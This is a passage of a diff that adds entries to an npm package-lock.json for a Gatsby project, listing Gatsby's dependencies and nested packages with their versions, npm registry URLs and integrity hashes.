+                "babel-core": "7.0.0-bridge.0",
+                "babel-eslint": "^10.1.0",
+                "babel-loader": "^8.1.0",
+                "babel-plugin-add-module-exports": "^1.0.4",
+                "babel-plugin-dynamic-import-node": "^2.3.3",
+                "babel-plugin-lodash": "^3.3.4",
+                "babel-plugin-remove-graphql-queries": "^2.16.1",
+                "babel-preset-gatsby": "^0.12.3",
+                "better-opn": "^2.0.0",
+                "better-queue": "^3.8.10",
+                "bluebird": "^3.7.2",
+                "body-parser": "^1.19.0",
+                "browserslist": "^4.12.2",
+                "cache-manager": "^2.11.1",
+                "chalk": "^4.1.0",
+                "chokidar": "^3.4.2",
+                "common-tags": "^1.8.0",
+                "compression": "^1.7.4",
+                "convert-hrtime": "^3.0.0",
+                "copyfiles": "^2.3.0",
+                "core-js": "^3.6.5",
+                "cors": "^2.8.5",
+                "css-loader": "^1.0.1",
+                "date-fns": "^2.14.0",
+                "debug": "^3.2.7",
+                "del": "^5.1.0",
+                "detect-port": "^1.3.0",
+                "devcert": "^1.1.3",
+                "dotenv": "^8.2.0",
+                "eslint": "^6.8.0",
+                "eslint-config-react-app": "^5.2.1",
+                "eslint-loader": "^2.2.1",
+                "eslint-plugin-flowtype": "^3.13.0",
+                "eslint-plugin-graphql": "^4.0.0",
+                "eslint-plugin-import": "^2.22.0",
+                "eslint-plugin-jsx-a11y": "^6.3.1",
+                "eslint-plugin-react": "^7.20.6",
+                "eslint-plugin-react-hooks": "^1.7.0",
+                "event-source-polyfill": "^1.0.15",
+                "execa": "^4.0.3",
+                "express": "^4.17.1",
+                "express-graphql": "^0.9.0",
+                "fastest-levenshtein": "^1.0.12",
+                "fastq": "^1.10.0",
+                "file-loader": "^1.1.11",
+                "find-cache-dir": "^3.3.1",
+                "fs-exists-cached": "1.0.0",
+                "fs-extra": "^8.1.0",
+                "gatsby-cli": "^2.19.3",
+                "gatsby-core-utils": "^1.10.1",
+                "gatsby-graphiql-explorer": "^0.11.0",
+                "gatsby-legacy-polyfills": "^0.7.1",
+                "gatsby-link": "^2.11.0",
+                "gatsby-plugin-page-creator": "^2.10.2",
+                "gatsby-plugin-typescript": "^2.12.1",
+                "gatsby-plugin-utils": "^0.9.0",
+                "gatsby-react-router-scroll": "^3.7.0",
+                "gatsby-telemetry": "^1.10.2",
+                "glob": "^7.1.6",
+                "got": "8.3.2",
+                "graphql": "^14.6.0",
+                "graphql-compose": "^6.3.8",
+                "graphql-playground-middleware-express": "^1.7.18",
+                "hasha": "^5.2.0",
+                "http-proxy": "^1.18.1",
+                "invariant": "^2.2.4",
+                "is-relative": "^1.0.0",
+                "is-relative-url": "^3.0.0",
+                "jest-worker": "^24.9.0",
+                "joi": "^17.2.1",
+                "json-loader": "^0.5.7",
+                "json-stringify-safe": "^5.0.1",
+                "latest-version": "5.1.0",
+                "lodash": "^4.17.20",
+                "md5-file": "^5.0.0",
+                "meant": "^1.0.1",
+                "memoizee": "^0.4.15",
+                "micromatch": "^4.0.2",
+                "mime": "^2.4.6",
+                "mini-css-extract-plugin": "^0.11.2",
+                "mitt": "^1.2.0",
+                "mkdirp": "^0.5.1",
+                "moment": "^2.27.0",
+                "name-all-modules-plugin": "^1.0.1",
+                "normalize-path": "^3.0.0",
+                "null-loader": "^3.0.0",
+                "opentracing": "^0.14.4",
+                "optimize-css-assets-webpack-plugin": "^5.0.3",
+                "p-defer": "^3.0.0",
+                "parseurl": "^1.3.3",
+                "physical-cpu-count": "^2.0.0",
+                "pnp-webpack-plugin": "^1.6.4",
+                "postcss-flexbugs-fixes": "^4.2.1",
+                "postcss-loader": "^3.0.0",
+                "prompts": "^2.3.2",
+                "prop-types": "^15.7.2",
+                "query-string": "^6.13.1",
+                "raw-loader": "^0.5.1",
+                "react-dev-utils": "^4.2.3",
+                "react-error-overlay": "^3.0.0",
+                "react-hot-loader": "^4.12.21",
+                "react-refresh": "^0.8.3",
+                "redux": "^4.0.5",
+                "redux-thunk": "^2.3.0",
+                "semver": "^7.3.2",
+                "shallow-compare": "^1.2.2",
+                "signal-exit": "^3.0.3",
+                "slugify": "^1.4.4",
+                "socket.io": "3.1.1",
+                "socket.io-client": "3.1.1",
+                "source-map": "^0.7.3",
+                "source-map-support": "^0.5.19",
+                "st": "^2.0.0",
+                "stack-trace": "^0.0.10",
+                "string-similarity": "^1.2.2",
+                "strip-ansi": "^5.2.0",
+                "style-loader": "^0.23.1",
+                "terser-webpack-plugin": "^2.3.8",
+                "tmp": "^0.2.1",
+                "true-case-path": "^2.2.1",
+                "type-of": "^2.0.1",
+                "url-loader": "^1.1.2",
+                "util.promisify": "^1.0.1",
+                "uuid": "3.4.0",
+                "v8-compile-cache": "^2.2.0",
+                "webpack": "^4.44.1",
+                "webpack-dev-middleware": "^3.7.2",
+                "webpack-dev-server": "^3.11.2",
+                "webpack-hot-middleware": "^2.25.0",
+                "webpack-merge": "^4.2.2",
+                "webpack-stats-plugin": "^0.3.2",
+                "webpack-virtual-modules": "^0.2.2",
+                "xstate": "^4.11.0",
+                "yaml-loader": "^0.6.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "array-union": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+                    "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw=="
+                },
+                "camelcase": {
+                    "version": "5.3.1",
+                    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+                    "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+                },
+                "chalk": {
+                    "version": "4.1.2",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+                    "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+                    "requires": {
+                        "ansi-styles": "^4.1.0",
+                        "supports-color": "^7.1.0"
+                    }
+                },
+                "chokidar": {
+                    "version": "3.5.3",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+                    "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+                    "requires": {
+                        "anymatch": "~3.1.2",
+                        "braces": "~3.0.2",
+                        "fsevents": "~2.3.2",
+                        "glob-parent": "~5.1.2",
+                        "is-binary-path": "~2.1.0",
+                        "is-glob": "~4.0.1",
+                        "normalize-path": "~3.0.0",
+                        "readdirp": "~3.6.0"
+                    }
+                },
+                "cliui": {
+                    "version": "6.0.0",
+                    "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
+                    "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
+                    "requires": {
+                        "string-width": "^4.2.0",
+                        "strip-ansi": "^6.0.0",
+                        "wrap-ansi": "^6.2.0"
+                    },
+                    "dependencies": {
+                        "strip-ansi": {
+                            "version": "6.0.1",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                            "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                            "requires": {
+                                "ansi-regex": "^5.0.1"
+                            }
+                        }
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "core-js": {
+                    "version": "3.24.1",
+                    "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.24.1.tgz",
+                    "integrity": "sha512-0QTBSYSUZ6Gq21utGzkfITDylE8jWC9Ne1D2MrhvlsZBI1x39OdDIVbzSqtgMndIy6BlHxBXpMGqzZmnztg2rg=="
+                },
+                "cross-spawn": {
+                    "version": "7.0.3",
+                    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
+                    "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+                    "requires": {
+                        "path-key": "^3.1.0",
+                        "shebang-command": "^2.0.0",
+                        "which": "^2.0.1"
+                    }
+                },
+                "debug": {
+                    "version": "3.2.7",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                    "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                    "requires": {
+                        "ms": "^2.1.1"
+                    }
+                },
+                "del": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/del/-/del-5.1.0.tgz",
+                    "integrity": "sha512-wH9xOVHnczo9jN2IW68BabcecVPxacIA3g/7z6vhSU/4stOKQzeCRK0yD0A24WiAAUJmmVpWqrERcTxnLo3AnA==",
+                    "requires": {
+                        "globby": "^10.0.1",
+                        "graceful-fs": "^4.2.2",
+                        "is-glob": "^4.0.1",
+                        "is-path-cwd": "^2.2.0",
+                        "is-path-inside": "^3.0.1",
+                        "p-map": "^3.0.0",
+                        "rimraf": "^3.0.0",
+                        "slash": "^3.0.0"
+                    }
+                },
+                "fs-extra": {
+                    "version": "8.1.0",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
+                    "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
+                    "requires": {
+                        "graceful-fs": "^4.2.0",
+                        "jsonfile": "^4.0.0",
+                        "universalify": "^0.1.0"
+                    }
+                },
+                "fsevents": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+                    "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+                    "optional": true
+                },
+                "gatsby-cli": {
+                    "version": "2.19.3",
+                    "resolved": "https://registry.npmjs.org/gatsby-cli/-/gatsby-cli-2.19.3.tgz",
+                    "integrity": "sha512-3xXe4y6DazWNYE2JFyErI7BGlgQjY4rRL5OTFWHvs6ULw7fu0xgoWXxKsoAp6S2xosKSS4zRVA6O7dDHAdidiw==",
+                    "requires": {
+                        "@babel/code-frame": "^7.10.4",
+                        "@hapi/joi": "^15.1.1",
+                        "@types/common-tags": "^1.8.0",
+                        "better-opn": "^2.0.0",
+                        "chalk": "^4.1.0",
+                        "clipboardy": "^2.3.0",
+                        "common-tags": "^1.8.0",
+                        "configstore": "^5.0.1",
+                        "convert-hrtime": "^3.0.0",
+                        "create-gatsby": "^0.5.1",
+                        "envinfo": "^7.7.3",
+                        "execa": "^3.4.0",
+                        "fs-exists-cached": "^1.0.0",
+                        "fs-extra": "^8.1.0",
+                        "gatsby-core-utils": "^1.10.1",
+                        "gatsby-recipes": "^0.9.3",
+                        "gatsby-telemetry": "^1.10.2",
+                        "hosted-git-info": "^3.0.6",
+                        "is-valid-path": "^0.1.1",
+                        "lodash": "^4.17.20",
+                        "meant": "^1.0.2",
+                        "node-fetch": "^2.6.1",
+                        "opentracing": "^0.14.4",
+                        "pretty-error": "^2.1.1",
+                        "progress": "^2.0.3",
+                        "prompts": "^2.3.2",
+                        "redux": "^4.0.5",
+                        "resolve-cwd": "^3.0.0",
+                        "semver": "^7.3.2",
+                        "signal-exit": "^3.0.3",
+                        "source-map": "0.7.3",
+                        "stack-trace": "^0.0.10",
+                        "strip-ansi": "^5.2.0",
+                        "update-notifier": "^5.0.1",
+                        "uuid": "3.4.0",
+                        "yargs": "^15.4.1",
+                        "yoga-layout-prebuilt": "^1.9.6",
+                        "yurnalist": "^2.1.0"
+                    },
+                    "dependencies": {
+                        "execa": {
+                            "version": "3.4.0",
+                            "resolved": "https://registry.npmjs.org/execa/-/execa-3.4.0.tgz",
+                            "integrity": "sha512-r9vdGQk4bmCuK1yKQu1KTwcT2zwfWdbdaXfCtAh+5nU/4fSX+JAb7vZGvI5naJrQlvONrEB20jeruESI69530g==",
+                            "requires": {
+                                "cross-spawn": "^7.0.0",
+                                "get-stream": "^5.0.0",
+                                "human-signals": "^1.1.1",
+                                "is-stream": "^2.0.0",
+                                "merge-stream": "^2.0.0",
+                                "npm-run-path": "^4.0.0",
+                                "onetime": "^5.1.0",
+                                "p-finally": "^2.0.0",
+                                "signal-exit": "^3.0.2",
+                                "strip-final-newline": "^2.0.0"
+                            }
+                        },
+                        "source-map": {
+                            "version": "0.7.3",
+                            "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz",
+                            "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ=="
+                        }
+                    }
+                },
+                "globby": {
+                    "version": "10.0.2",
+                    "resolved": "https://registry.npmjs.org/globby/-/globby-10.0.2.tgz",
+                    "integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==",
+                    "requires": {
+                        "@types/glob": "^7.1.1",
+                        "array-union": "^2.1.0",
+                        "dir-glob": "^3.0.1",
+                        "fast-glob": "^3.0.3",
+                        "glob": "^7.1.3",
+                        "ignore": "^5.1.1",
+                        "merge2": "^1.2.3",
+                        "slash": "^3.0.0"
+                    }
+                },
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "is-path-cwd": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
+                    "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ=="
+                },
+                "is-path-inside": {
+                    "version": "3.0.3",
+                    "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+                    "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ=="
+                },
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                },
+                "micromatch": {
+                    "version": "4.0.5",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+                    "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+                    "requires": {
+                        "braces": "^3.0.2",
+                        "picomatch": "^2.3.1"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                },
+                "p-finally": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-2.0.1.tgz",
+                    "integrity": "sha512-vpm09aKwq6H9phqRQzecoDpD8TmVyGw70qmWlyq5onxY7tqyTTFVvxMykxQSQKILBSFlbXpypIw2T1Ml7+DDtw=="
+                },
+                "path-key": {
+                    "version": "3.1.1",
+                    "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+                    "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
+                },
+                "readdirp": {
+                    "version": "3.6.0",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+                    "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+                    "requires": {
+                        "picomatch": "^2.2.1"
+                    }
+                },
+                "rimraf": {
+                    "version": "3.0.2",
+                    "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+                    "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+                    "requires": {
+                        "glob": "^7.1.3"
+                    }
+                },
+                "shebang-command": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+                    "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+                    "requires": {
+                        "shebang-regex": "^3.0.0"
+                    }
+                },
+                "shebang-regex": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+                    "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
+                },
+                "source-map": {
+                    "version": "0.7.4",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+                    "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    },
+                    "dependencies": {
+                        "strip-ansi": {
+                            "version": "6.0.1",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                            "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                            "requires": {
+                                "ansi-regex": "^5.0.1"
+                            }
+                        }
+                    }
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                },
+                "which": {
+                    "version": "2.0.2",
+                    "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+                    "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+                    "requires": {
+                        "isexe": "^2.0.0"
+                    }
+                },
+                "wrap-ansi": {
+                    "version": "6.2.0",
+                    "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+                    "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+                    "requires": {
+                        "ansi-styles": "^4.0.0",
+                        "string-width": "^4.1.0",
+                        "strip-ansi": "^6.0.0"
+                    },
+                    "dependencies": {
+                        "strip-ansi": {
+                            "version": "6.0.1",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                            "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                            "requires": {
+                                "ansi-regex": "^5.0.1"
+                            }
+                        }
+                    }
+                },
+                "y18n": {
+                    "version": "4.0.3",
+                    "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+                    "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ=="
+                },
+                "yargs": {
+                    "version": "15.4.1",
+                    "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz",
+                    "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==",
+                    "requires": {
+                        "cliui": "^6.0.0",
+                        "decamelize": "^1.2.0",
+                        "find-up": "^4.1.0",
+                        "get-caller-file": "^2.0.1",
+                        "require-directory": "^2.1.1",
+                        "require-main-filename": "^2.0.0",
+                        "set-blocking": "^2.0.0",
+                        "string-width": "^4.2.0",
+                        "which-module": "^2.0.0",
+                        "y18n": "^4.0.0",
+                        "yargs-parser": "^18.1.2"
+                    }
+                },
+                "yargs-parser": {
+                    "version": "18.1.3",
+                    "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
+                    "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
+                    "requires": {
+                        "camelcase": "^5.0.0",
+                        "decamelize": "^1.2.0"
+                    }
+                }
+            }
+        },
+        "gatsby-core-utils": {
+            "version": "1.10.1",
+            "resolved": "https://registry.npmjs.org/gatsby-core-utils/-/gatsby-core-utils-1.10.1.tgz",
+            "integrity": "sha512-4P3feGCJckg+DRWWl2beFk7N9c63zmCryEGPaU1OHCp+ZT2bO0ihCBuXywDWuuEp6SYP9PZ1fs0YJ/Rt6q6lag==",
+            "requires": {
+                "ci-info": "2.0.0",
+                "configstore": "^5.0.1",
+                "fs-extra": "^8.1.0",
+                "node-object-hash": "^2.0.0",
+                "proper-lockfile": "^4.1.1",
+                "tmp": "^0.2.1",
+                "xdg-basedir": "^4.0.0"
+            },
+            "dependencies": {
+                "fs-extra": {
+                    "version": "8.1.0",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
+                    "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
+                    "requires": {
+                        "graceful-fs": "^4.2.0",
+                        "jsonfile": "^4.0.0",
+                        "universalify": "^0.1.0"
+                    }
+                },
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                }
+            }
+        },
+        "gatsby-graphiql-explorer": {
+            "version": "0.11.0",
+            "resolved": "https://registry.npmjs.org/gatsby-graphiql-explorer/-/gatsby-graphiql-explorer-0.11.0.tgz",
+            "integrity": "sha512-mmxQhQSDUkbtOhQUek9a9sSg6LpiQUytNNR2hec8iklau2D4MDA5CvHTk9GUGhjdUgtnHSe/MPyZVJGmXSnYAA==",
+            "requires": {
+                "@babel/runtime": "^7.12.5"
+            }
+        },
+        "gatsby-legacy-polyfills": {
+            "version": "0.7.1",
+            "resolved": "https://registry.npmjs.org/gatsby-legacy-polyfills/-/gatsby-legacy-polyfills-0.7.1.tgz",
+            "integrity": "sha512-yOQtX72GSJxloyUZEary3ZBihz/+a3uouLiaZKk6dHOeUHnRkQkXD+UT/zt7Xm+er/VD3KRsQQv+Re1krpbY7g==",
+            "requires": {
+                "core-js-compat": "^3.6.5"
+            }
+        },
+        "gatsby-link": {
+            "version": "2.11.0",
+            "resolved": "https://registry.npmjs.org/gatsby-link/-/gatsby-link-2.11.0.tgz",
+            "integrity": "sha512-AYXxndlSx5mnYv+/PBPdPBRvdv1LeSGE3WO8uYj2ReYDSbhiAlF3KKz30D62ErartXP0deySPtRKx4Dd3nCFYw==",
+            "requires": {
+                "@babel/runtime": "^7.12.5",
+                "@types/reach__router": "^1.3.7",
+                "prop-types": "^15.7.2"
+            }
+        },
+        "gatsby-page-utils": {
+            "version": "0.9.1",
+            "resolved": "https://registry.npmjs.org/gatsby-page-utils/-/gatsby-page-utils-0.9.1.tgz",
+            "integrity": "sha512-UHedSs64HXzoivCk7ZdE9139hi34CcZfexP+Vxe2Zt4aK+MeXowec8VdxKD3Pp08O/YEGKBv2TtSV9gSR/lt2g==",
+            "requires": {
+                "@babel/runtime": "^7.12.5",
+                "bluebird": "^3.7.2",
+                "chokidar": "^3.5.1",
+                "fs-exists-cached": "^1.0.0",
+                "gatsby-core-utils": "^1.10.1",
+                "glob": "^7.1.6",
+                "lodash": "^4.17.20",
+                "micromatch": "^4.0.2"
+            },
+            "dependencies": {
+                "chokidar": {
+                    "version": "3.5.3",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+                    "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+                    "requires": {
+                        "anymatch": "~3.1.2",
+                        "braces": "~3.0.2",
+                        "fsevents": "~2.3.2",
+                        "glob-parent": "~5.1.2",
+                        "is-binary-path": "~2.1.0",
+                        "is-glob": "~4.0.1",
+                        "normalize-path": "~3.0.0",
+                        "readdirp": "~3.6.0"
+                    }
+                },
+                "fsevents": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+                    "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+                    "optional": true
+                },
+                "micromatch": {
+                    "version": "4.0.5",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
